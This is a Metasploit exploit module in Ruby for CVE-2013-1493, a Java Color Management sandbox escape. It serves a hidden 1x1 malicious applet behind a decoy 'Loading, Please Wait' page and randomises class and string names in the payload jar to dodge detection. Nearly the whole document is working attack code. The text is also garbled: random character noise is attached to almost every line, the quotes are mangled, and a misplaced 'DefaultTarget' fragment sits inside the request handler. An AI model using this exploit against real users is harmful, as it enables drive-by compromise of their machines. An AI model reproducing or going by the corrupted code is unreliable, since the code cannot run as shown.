##
# J5 j" n* p+ b/ T$ A- D8 a# z5 |8 B2 R/ p
# This file is part of the Metasploit Framework and may be subject to' C( w, K: x. H0 e- V; F9 L
# redistribution and commercial restrictions. Please see the Metasploit: L+ @! `# E: |0 G/ r _7 ^
# web site for more information on licensing and terms of use.
1 e" J7 v3 R+ T0 z# http://metasploit.com/. W' z3 ~# k& y) r4 p8 t
##
7 X- f; t+ j1 X% y$ E ^! N+ Xrequire ‘msf/core’
' j" {" p0 H' A& l$ nrequire ‘rex’/ w9 ^$ C; A' y7 i: n
class Metasploit3 < Msf::Exploit::Remote
0 ?% e) i {5 Z, q5 ZRank = NormalRanking/ W) F0 L) ^" ^1 I k7 \
include Msf::Exploit::Remote::HttpServer::HTML- ?2 I# ]$ y) L e
include Msf::Exploit::EXE5 [: | C/ J0 s; ^' i! p1 J
include Msf::Exploit::Remote::BrowserAutopwn
7 X) k1 j* z* F" Z7 Dautopwn_info({ :javascript => false })' V) g% F) k) J) q
def initialize( info = {} )) N h- Q: t2 U& k
super( update_info( info,
: v) b% T- k* w3 Z2 h- ]‘Name’ => ‘Java CMM Remote Code Execution’,, s' l: u. b, P& \" N- D
‘Description’ => %q{ K" f" c v* r' {8 E
This module abuses the Color Management classes from a Java Applet to run
& U/ K+ H2 s: ^: f; X+ Jarbitrary Java code outside of the sandbox as exploited in the wild in February2 x2 C) T6 X) `3 J7 A$ _7 p+ o: }
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
' Q7 L, W6 O7 K( g7 H5 ?and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1& u6 X J2 Z7 r B
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
8 Y) A4 i+ r" i' w' |) M: m4 ^warning in order to run the malicious applet.
# V% d- l) E( R- I5 t},
0 D+ v' a. j6 }" Y1 Y) M‘License’ => MSF_LICENSE,
- L0 a( x [, u‘Author’ =>9 p- y! C( G" g& s
'Unknown', # Vulnerability discovery and Exploit; u; l: ~, N, I8 |$ a7 b
'juan vazquez' # Metasploit module (just ported the published exploit)8 y$ w( a. H& I3 M7 r( B/ e! Z# {
],
/ r% T# [8 z; W( `# n; q [‘References’ =>
; ~) Q4 ]0 c- N1 ]3 C; `/ m[
3 m$ [5 ?# Q. q8 F# V[ 'CVE', '2013-1493' ],
: b+ T9 a- Q3 ~$ b[ 'OSVDB', '90737' ],3 p* ^% r5 ]( L2 S) B* X8 C$ U1 f9 _
[ 'BID', '58238' ],7 ^+ _ y1 I, f, l+ o! Q
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],% O/ m" }+ w! M* M2 x- \7 D
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
5 f) k2 c5 ]& p0 P/ d[ 'URL', 'http://pastie.org/pastes/6581034' ]
; B/ P0 x1 w) g: i- q3 n- [; `4 N],, O& e# S% A8 ?9 E5 Z
‘Platform’ => [ 'win', 'java' ],' W y' B3 A4 X( ~* E; {
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
# ^1 H; U! J v' t2 D% N‘Targets’ =>
7 _8 W& q" a6 j* @6 Q[
3 G+ P; q3 w y/ ?[ 'Generic (Java Payload)',- k' E1 q3 J- h
{
6 D3 d* Z; U6 g+ y G& O'Platform' => 'java',
2 @/ S2 K" O! U! _% o'Arch' => ARCH_JAVA
& k& u8 M+ p/ J! L2 t) Q}
& W* u$ ]) G) V# M],$ r2 }0 J7 X) d& K4 i( s# m
[ 'Windows x86 (Native Payload)',
2 ]. a2 r% g2 d7 r% F4 d{
, S' ?% a2 X3 s& Y) G'Platform' => 'win',
$ E( M8 i4 N3 t$ d% @0 |- W/ @'Arch' => ARCH_X86 @( R0 t* r6 K8 ?# z
}) v4 a \5 ~6 b2 E& ~; g
]
0 T$ O; K/ O4 j# C+ b9 N# _],
4 c9 @- ]* N7 W7 q5 d! B‘‘DisclosureDate’ => ‘Mar 01 2013′0 F+ |: {# K8 M& h3 H8 ]
))- {# p- o7 A( i! p- t7 o$ K
end- V& n/ T' h J8 ~; g
def setup
. h/ g" `+ U+ z* x7 u* f! T5 tpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)# u# j8 l3 ~2 r4 C# ]! v- E9 \
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }. ~6 {* S. @% p8 A7 @
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)* L& D! U" a; H/ |2 a: s
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }9 \4 t( W, k$ U0 b
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)/ j" ]$ L& L- \# l$ _4 L
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
# k7 C5 [- C7 F- {( Tpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)/ g7 H* r+ V4 l) s5 t5 Q* G" [0 i
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
% |! l, Q) s" s' Q V@init_class_name = rand_text_alpha(“Init”.length)
) c: l( n( [+ Y B9 n@init_class.gsub!(“Init”, @init_class_name)0 s9 F* ]" k+ X5 G
super1 u1 T' L2 o! _, x8 H
end8 f) V5 E6 |7 s' x
def on_request_uri(cli, request)
2 g, f4 E$ b) E# m: M! Vprint_status(“handling request for #{request.uri}”)3 S! g0 o3 o* [' L1 w. ~$ F) L8 n7 ~
case request.uri
) a0 K$ y; o6 l7 O" lwhen /\.jar$/i
, F; v3 m( N* [8 Djar = payload.encoded_jar/ y4 q1 p9 q" H8 f/ J
jar.add_file(“#{@init_class_name}.class”, @init_class)5 C7 w8 S: S5 t
jar.add_file(“Leak.class”, @leak_class)
! ?) {: u- i( ^9 _, R& pjar.add_file(“MyBufferedImage.class”, @buffered_image_class)
% l9 ?- Q3 o6 H7 z% fjar.add_file(“MyColorSpace.class”, @color_space_class)
3 Y4 M1 J0 C, g7 c' I6 cDefaultTarget’ => 1,3 I- r; ?' H4 K3 S
metasploit_str = rand_text_alpha(“metasploit”.length)
2 F1 r8 W+ v6 n2 |6 R% e" |5 npayload_str = rand_text_alpha(“payload”.length)# K+ W, Y5 n2 N, G7 }: v
jar.entries.each { |entry|, j! s0 I) M+ y9 P+ @
entry.name.gsub!(“metasploit”, metasploit_str)
# ~2 j1 \. Q* C/ lentry.name.gsub!(“Payload”, payload_str) v7 y: Q' u+ |- V
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
/ e. Y. Y% J7 [8 aentry.data = entry.data.gsub(“Payload”, payload_str)
6 p/ k# ]" H2 z}" B+ |4 S7 \5 i5 [
jar.build_manifest' i1 B/ p4 M6 r, Q
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })/ F6 ]8 r- B; Y( ~/ b( w4 h v4 s Q
when /\/$/7 y# f7 l3 F# ~- F9 [+ `
payload = regenerate_payload(cli)' y) O7 @, q( N4 d& r6 x' U% o
if not payload% ` |4 G7 z a' G* h
print_error(“Failed to generate the payload.”)( T6 X" M+ r; ~9 K
send_not_found(cli)8 m" ]. L! c3 R! C4 \! V2 v: v! r7 i# z
return3 o3 O3 P8 l3 v( C I. \$ p* {
end
3 U; i8 Q U/ u* Isend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
: @1 p/ Z. S1 |6 x, aelse
: `& u- A3 ^3 \send_redirect(cli, get_resource() + ‘/’, ”)8 R$ z. E( z& b
end0 p4 |4 j5 u- ` ?; J
end
& e% A- a8 z! h: ?def generate_html
1 `% `8 {. q+ I& y# K6 b0 ?8 Shtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
) J& }8 @: w/ z6 C" m9 A( Nhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
# `( c+ m' X& f; |html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
% g, L8 }' m% b3 o, ghtml += %Q|</applet></body></html>|
$ ^( F; J; b* H& _6 kreturn html1 U( s5 c! K# H* e
end" z, }: i- ^2 }1 R1 @6 b: b$ [
end) L' c2 N# A6 O7 Z7 G% Z
end; u1 v5 Q* }- ~7 Z, @
|